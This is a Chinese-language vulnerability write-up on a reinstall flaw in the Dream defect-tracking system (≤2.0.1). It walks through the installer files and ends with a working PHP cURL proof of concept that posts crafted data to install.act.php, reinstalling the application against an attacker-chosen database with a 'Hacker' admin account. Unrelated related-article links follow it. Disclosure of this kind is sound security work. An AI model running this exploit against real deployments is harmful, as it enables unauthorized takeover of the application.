在./install/install.php中

 if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}

通过检测lock.txt文件是否存在来判断系统是否已经安装了,

但是看到代码的最后,发现是这个样子的

 <div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> &nbsp; <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />

点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义

 function onNext(){
window.location = "check.php";
}

直接导向至check.php文件了,来看看这个文件是怎么写的

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ require_once (dirname(__FILE__) . "/inc/config.inc.php");
$gd = gd_info();
$curl = function_exists('curl_init');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
...

并没有判断入口是否合法,所以可以直接在浏览器中访问之

然后"下一步"又是个onNext()函数来处理的,继续看

 function onNext(){
var data = document.getElementsByName("data");
var num = 0;
for(i=0;i<data.length;i++){
if(data[i].value==1){
num += Number(data[i].value);
}
}
if(num==data.length){
window.location = "mysql.php";
}
num = 0;
}

最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ if(file_exists('lock.txt')){
echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。';
exit();
}
require_once (dirname(__FILE__) . "/inc/config.inc.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="x-ua-compatible" content="ie=7" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Dream缺陷跟踪系统 - 安装向导</title>
<script language="javascript">
<!--
function onLast(){
history.back();
} function onClick(){
h = list.host.value;
n = list.name.value;
u = list.user.value;
wn = list.webname.value;
hn = list.hostname.value;
e = list.mail.value;
au = list.adminuser.value;
ap = list.adminpwd.value;
ap2 = list.adminpwd2.value;
if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){
alert("选项不能为空");
return false;
}else{
if(ap!=ap2){
alert("两次输入的密码不相同");
return false;
}
if(!e.match(/@/)){
alert("邮箱格式不正确");
return false;
} return true;
}
}
-->
</script>
<link href="img/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<form action="inc/install.act.php" method="post" name="list">
<div align="center">
<div class="main">
<div class="top">
<img src="img/logo_about.png" height="45" />
<span>Dream缺陷跟踪系统</span></div> <div class="content">
<table width="100%" border="0" cellspacing="0"> <tr>
<td height="26" colspan="3" class="top_txt">数据库信息</td>
</tr>
<tr>
<td width="21%" height="22">数据库服务器:</td>
<td width="34%">&nbsp;<input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td>
<td width="45%">&nbsp;数据库服务器地址, 一般为 localhost</td>
</tr>
<tr>
<td width="21%" height="22">数据库名:</td>
<td width="34%">&nbsp;<input name="name" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据库用户名:</td>
<td width="34%">&nbsp;<input name="user" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据库密码:</td>
<td width="34%">&nbsp;<input name="pwd" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">数据表前缀:</td>
<td width="34%">&nbsp;<input name="prefix" type="text" class="txt_wd" value="dwin_" /></td>
<td>&nbsp;同一数据库运行多个系统时,请注意修改前缀</td>
</tr>
<tr>
<td height="26" colspan="3" class="top_txt">程序及用户信息</td>
</tr>
<tr>
<td width="21%" height="22">项目名称:</td>
<td>&nbsp;<input name="webname" type="text" class="txt_wd" value="我的项目" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">项目域名:</td>
<td>&nbsp;<input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">管理员邮箱:</td>
<td>&nbsp;<input name="mail" type="text" class="txt_wd" value="" /></td>
<td>&nbsp;请务必填写正确</td>
</tr>
<tr>
<td width="21%" height="22">管理员账号:</td>
<td>&nbsp;<input name="adminuser" type="text" class="txt_wd" value="admin" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">管理员密码:</td>
<td>&nbsp;<input name="adminpwd" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;</td>
</tr>
<tr>
<td width="21%" height="22">再输入一次密码:</td>
<td>&nbsp;<input name="adminpwd2" type="password" class="txt_wd" value="" /></td>
<td>&nbsp;请牢记您的账号与密码</td>
</tr> </table>
</div>
<div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> &nbsp; <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" /> <div><img src="img/step3.png" width="700" height="10" /></div>
</div>
<div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc. All Rights Reserved</div>
</div>
</div></form>
</body>
</html>

判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:

 <?php
/*
* @varsion Dream缺陷跟踪系统 2.0var
* @package 程序设计深圳市九五时代科技有限公司设计开发
* @copyright Copyright (c) 2010 - 2015, 95era, Inc.
* @link http://www.d-winner.com
*/ session_start();
require_once (dirname(__FILE__) . "/config.inc.php");
include(PJINC.'/core/filesys.lib.php'); $nf_d = new filesys;
if(isset($_POST['put'])){
if($_POST['put']!=''){
$show = '';
$host = trim($_POST['host']);
$name = trim($_POST['name']);
$user = trim($_POST['user']);
$pwd = trim($_POST['pwd']);
$prefix = trim($_POST['prefix']);
$data = array();
$data['webname'] = trim($_POST['webname']);
$data['hostname'] = trim($_POST['hostname']);
$data['mail'] = trim($_POST['mail']);
$data['adminuser'] = trim($_POST['adminuser']);
$data['adminpwd'] = trim($_POST['adminpwd']);
$conn = mysql_connect($host,$user,$pwd);
...

没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。

POC:

 <?php
$url="http://127.0.0.1/dream/install/inc/install.act.php";
$data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
$result=curl_exec($ch);
curl_close($ch);
print_r($result);
?>

可以看到新的数据库hackedream已经成功建立鸟~~~

Dream权限追踪系统<=2.0.1 重安装漏洞的更多相关文章

  1. 分布式监控系统Zabbix-3.0.3-完整安装记录(1)

    分布式监控系统Zabbix-3.0.3的安装记录 环境说明zabbix-server:192.168.1.30     #zabbix的服务端(若要监控本机,则需要配置本机的Zabbix agent, ...

  2. 分布式监控系统Zabbix-3.0.3-完整安装记录(7)-使用percona监控MySQL

    前面已经介绍了分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控,但是没有提供可以直接使用的Key,太过简陋,监控效果不佳.要想更加仔细的监控Mysql,业内同学们都会选择 ...

  3. 从壹开始前后端 [vue后台] 之一 || 权限后台系统 1.0 正式上线

    缘起 哈喽各位小伙伴周三好,春节已经过去好多天了,群里小伙伴也各种催搞了,新年也接了新项目,比较忙,不过还是终于赶上这个二月的尾巴写了这篇文章,也把 vue 权限后台上线了(项目地址:http://1 ...

  4. 分布式监控系统Zabbix-3.0.3-完整安装记录(6)-微信报警部署

    Zabbix可以通过多种方式把告警信息发送到指定人,常用的有邮件,短信报警方式. 现在由于微信使用的广泛度,越来越多的企业开始使用zabbix结合微信作为主要的告警方式,这样可以及时有效的把告警信息推 ...

  5. 分布式监控系统Zabbix-3.0.3-完整安装记录(5)-邮件报警部署

    前面几篇陆续介绍了zabbix3.0.3监控系统的部署和监控项配置,今天这里分享下zabbix3.0.3的邮件报警的配置过程~由于采用sendmail发送邮件,常常会被认为是垃圾邮件被拒,所以不推荐这 ...

  6. 分布式监控系统Zabbix-3.0.3-完整安装记录(3)-监控nginx,php,memcache,Low-level discovery磁盘IO

    前段时间在公司IDC服务器上部署了zabbix3.0.3监控系统,除了自带的内存/带宽/CPU负载等系统资源监控模板以及mysql监控模板外,接下来对诸如nginx.php.memcache.磁盘IO ...

  7. 分布式监控系统Zabbix-3.0.3-完整安装记录(2)-添加mysql监控

    Zabbix3.0 Server以后就自带了MySQL插件来监控mysql数据库的模板,只需要配置好agent客户端,然后在web端给主机增加模板就行了. 以下是公司线上的zabbix3.0环境下添加 ...

  8. 分布式监控系统Zabbix-3.0.3-完整安装记录(4)-解决zabbix监控图中出现中文乱码问题

    之前部署了Zabbix-3.0.3监控系统,在安装数据库时已经将zabbix库设置了utf-8字符. 首先确定zabbix开启了中文支持功能:登录到zabbix服务器的数据目录下(前面部署的zabbi ...

  9. 分布式监控系统Zabbix-3.0.3-完整安装记录(0)

    一.Linux下开源监控系统简单介绍1)cacti:存储数据能力强,报警性能差2)nagios:报警性能差,存储数据仅有简单的一段可以判断是否在合理范围内的数据长度,储存在内存中.比如,连续采样数据存 ...

随机推荐

  1. JavaEE基础(01):Servlet实现方式,生命周期执行...

    一.Servlet简介Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容.使用Servlet,可以收集来自网页表单的用户输入,呈现来自数据库 ...

  2. jQuery方法及使用

    jQuery内容: 选择器 筛选器 样式操作 文本操作 属性操作 文档处理 事件 动画效果 插件 each.data.Ajax 剩余未写的有: 1.表单筛选器: :text :password :fi ...

  3. Office 365 邮件流

    进入Exchange管理中心->点击左侧的“邮件流”->进入邮件流配置页面. 一.规则 规则也称传输规则,对通过组织传递的邮件,根据设定条件进行匹配,并对其进行操作.传输规则与众多电子邮件 ...

  4. day02-文件操作

    文件操作. 1,文件路径:d:\python一定要学好.txt 2,编码方式:utf-8 gbk .... 3,操作模式:只读,只写,追加,读写,写读..... 不论哪种方式都只能执行一次.例如r模式 ...

  5. PAT甲级——1058 A+B in Hogwarts

    1058 A+B in Hogwarts If you are a fan of Harry Potter, you would know the world of magic has its own ...

  6. VS各种错误集成总结,持续更新

    1.error C4996: 'GetVersionExW': 被声明为已否决 解决办法:工程 -- 配置属性 --C/ C++ -- 常规 -- SDL check 关掉 2.fatal error ...

  7. fcntl()函数之非阻塞模型

    优点:设置标准输入为非阻塞(有数据则读 没有数据则立即返回),常用于网络通信以及轻量信息多并发中 步骤: 1.oldflag=fcntl(STDIN_FILENO,F_GETFL); 获取标准输入的文 ...

  8. iOS有关通讯录操作

    一.首先获取用户通讯录授权信息. 在AppDelegate中导入#import <AddressBook/AddressBook.h>框架,在下列方法中获取授权信息. - (BOOL)ap ...

  9. FPGA时序分析

    更新于20180823 时序检查中对异步复位电路的时序分析叫做()和()? 这个题做的让人有点懵,我知道异步复位电路一般需要做异步复位.同步释放处理,但不知道这里问的啥意思.这里指的是恢复时间检查和移 ...

  10. [LC] 234. Palindrome Linked List

    Given a singly linked list, determine if it is a palindrome. Example 1: Input: 1->2 Output: false ...